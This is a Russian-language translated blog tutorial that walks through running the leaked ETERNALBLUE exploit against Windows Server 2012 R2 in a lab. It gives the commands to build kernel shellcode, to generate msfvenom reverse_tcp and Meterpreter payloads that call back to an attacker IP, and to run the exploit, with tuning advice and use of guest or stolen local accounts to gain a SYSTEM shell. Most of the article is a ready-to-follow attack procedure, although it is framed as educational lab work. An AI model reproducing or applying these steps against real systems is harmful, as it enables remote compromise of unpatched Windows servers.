21.08.2017

Как при помощи эксплоита ETERNALBLUE получить сессию в METERPRETER

image

С момента последней утечки 14 апреля 2017 года от группировки Shadow Brokers знаменитый ETERNALBLUE, кажется, был исследован всеми, кто интересуется исследованием и написанием эксплоитов.

Автор: Sheila A. Berta (@UnaPibaGeek)
Введение
С момента последней утечки 14 апреля 2017 года от группировки Shadow Brokers знаменитый ETERNALBLUE, кажется, был исследован всеми, кто интересуется исследованием и написанием эксплоитов. Потом за менее чем 2 месяца было опубликовано несколько работ с описанием работы этого эксплоита. В арсенал Metasploit была добавлена версия на основе исследований, выполненных Шоном Диллоном (Sean Dillon) и Диланом Дэвисом (Dylan Davis), которая работает в Windows 7 и Windows Server 2008 R2. Кроме того, исследователь “Sleepya” опубликовал на github версию ETERNALBLUE, написанную на Python, которая делает возможным осуществление атаки на Windows Server 2012 R2.
Поскольку на момент написания статьи еще не существовало объяснений того, как настраивать эксплоит от Sleepya, я решил исследовать этот вопрос и написать пошаговое руководство. Естественно, вся информация ниже представлена только в ознакомительных целях.
Настройка лабораторной среды
Для установки тестовой среды потребуется настройка следующих систем:
Система жертвы - Windows Server 2012 R2
Машина с установленной системой Windows Server 2012 R2 и 64-битным процессором будет использоваться в качестве целевой:

Рисунок 1: Параметры системы жертвы
После установки операционной системы нет необходимости вносить дополнительные изменения. Достаточно знать IP-адрес и включить машину в момент совершения атаки.
Система злоумышленника - GNU/Linux
Допускается использование любой операционной системы, где есть следующие инструменты:

В итоге мы имеем две системы:

  • Windows Server 2012 R2 x64 – IP: 10.0.2.12 – Целевая система.
  • GNU/Linux Debian x64 – IP: 10.0.2.6 – Система злоумышленника.

Подготовка шелл-кода
Первый шаг – сборка шелл-кода уровня ядра, разработанного для эксплоита ETERNALBLUE. Далее мы добавим шелл-код уровня пользователя, представляющего собой полезную нагрузку для Metasploit, которую нужно запустить на целевой машине.
Сборка шелл-кода уровня ядра
По ссылке ниже можно получить шелл-код уровня ядра, разработанный исследователем Sleepya:
https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm
Сохраняем .asm файл и при помощи следующей команды выполняем компиляцию шелл-кода: nasm -f bin kernel_shell_x64.asm.

Рисунок 2: Сборка шелл-кода уровня ядра
Генерирование шелл-кода уровня пользователя при помощи msfvenom
Модуль msfvenom будет использоваться для генерирования полезной нагрузки. В демонстративных целях мы будет осуществлять два вида атаки: вначале будем получать обратный шелл через TCP, а затем – сессию в meterpreter. В каждом случае полезная нагрузка будет генерироваться отдельно:
windows/x64/shell/reverse_tcp:
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=[ATTACKER_IP] LPORT=4444

Рисунок 3: Генерирование полезной нагрузки для получения обратного шелла
windows/x64/meterpreter/reverse_tcp:
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=[ATTACKER_IP] LPORT=4444

Рисунок 4: Генерирование полезной нагрузки для получения сессии в Meterpreter
Объединения шелл-кода и полезной нагрузки
После того как шелл-код уровня ядра собран и нужная полезная нагрузки из Metasploit сгенерирована, необходимо выполнить объединение.
kernel shellcode + shell/reverse_tcp:

Рисунок 5: Объединение шелл-кода и полезной нагрузки для получения обратного шелла
kernel shellcode + meterpreter/reverse_tcp:

Рисунок 6: Объединение шелл-кода и полезной нагрузки для получения сессии в Meterpreter
После завершение обоих процессов у нас будет две полезные нагрузки, пригодные для различных типов атаки.
Получение обратного шелла
Естественно, мы будет пользоваться эксплоитом, созданным исследователем Sleepya, который можно скачать по следующей ссылке:
https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e.
Эксплоит нужно сохранить с расширением .py на машине злоумышленника. Перед началом использования необходимо настроить Metasploit для получения обратного соединения шелл-кода в момент выполнения на целевой машине.

Рисунок 7: Настройка Metasploit в системе злоумышленника
Теперь у нас есть два способа воздействия на целевую машину.
Атака через гостевую учетную запись
По умолчанию в Windows Server 2012 R2 гостевая учетная четная запись не активна. В случае активации гостевого аккаунта администратором мы можем получить системный шелл на целевой машине.
Для начала откроем файл exploit.py в текстовом редакторе и пропишем использование гостевой учетной записи при аутентификации.

Рисунок 8: Настройка учетной записи, используемой при аутентификации
Как видно из рисунка выше, эти параметры настраиваются в строках 42-43.
После сохранения запускаем эксплоит со следующими параметрами:
python exploit.py <ip_target> reverse_shell.bin 500
Значение 500 соответствует параметру "numGroomConn". Настройка количество попутных соединений ("Groom" connections) позволяет добиться смежности памяти пула ядра так, чтобы перезапись буфера оканчивалась в нужном месте и шелл-код выполнялся корректно.
Для шелл-кода на уровне пользователя установим значение параметра numGroomConn равным 500. Если обратное соединение не возникнет, попробуем увеличить это число.

Рисунок 9: Запуск эксплоита от имени гостевой учетной записи
После запуска эксплоита тут же получаем обратный шелл в терминале Metasploit.

Рисунок 10: Обратный шелл в терминале злоумышленника
Атака через обычную учетную запись
Другой способ добиться успешной эксплуатации – использование обычной учетной записи, полученной заранее от локального пользователя. Как и в случае с гостевой учетной записью уровень привилегий не имеет значения. Во время аутентификации шелл всегда будет системным.
Вновь открываем exploit.py и добавляем информацию об учетной записи локального пользователя.

Рисунок 11: Добавление учетной записи локального пользователя
Как и в предыдущем случае сохраняем файл и запускаем эксплоит.

Рисунок 12: Запуск эксплоита от имени локального пользователя
И получаем те же самые результаты.

Рисунок 13: Получение обратного шелла
Получение сессии в Meterpreter
Сейчас будет продемонстрирован наиболее долгожданный пример: получение сессии в meterpreter с правами администратора. Но вначале нужно настроить Metasploit на получение обратного соединения.

Рисунок 14: Настройка Metasploit
Во время атаки мы будем использовать гостевую учетную запись, однако, как и в предыдущем случае, возможно использовать любой другой рабочий аккаунт.

Рисунок 15: Добавление информации о гостевой учетной записи
Далее запускаем эксплоит со следующими параметрами:
python exploit.py <ip_target> meterpreter.bin 200
На этот раз значение параметра numGroomConn равно 200 с целью уменьшения количества соединений. Если эксплоит запустится корректно, но мы не получим сессию, можно попробовать увеличить это значение.

Рисунок 16: Запуск эксплоита
И тут же получаем meterpreter-сессию в терминале Metasploit.

Рисунок 17: Получение сессии в meterpreter
Заключение
В заключении мы получили шелл в Meterpreter с правами администратора в системе Windows Server 2012 R2. Некоторое время назад я написал те же самые слова в другой статье, но применительно к Windows 7 и Windows Server 2008 R2. Все говорит о том, что анализ, проведенный сообществом специалистов по безопасности, показал хорошие результаты. Однако в то же время администраторы вышеуказанных систем должны озаботиться дополнительными мерами безопасности для защиты своих инфраструктур.


comments powered by Disqus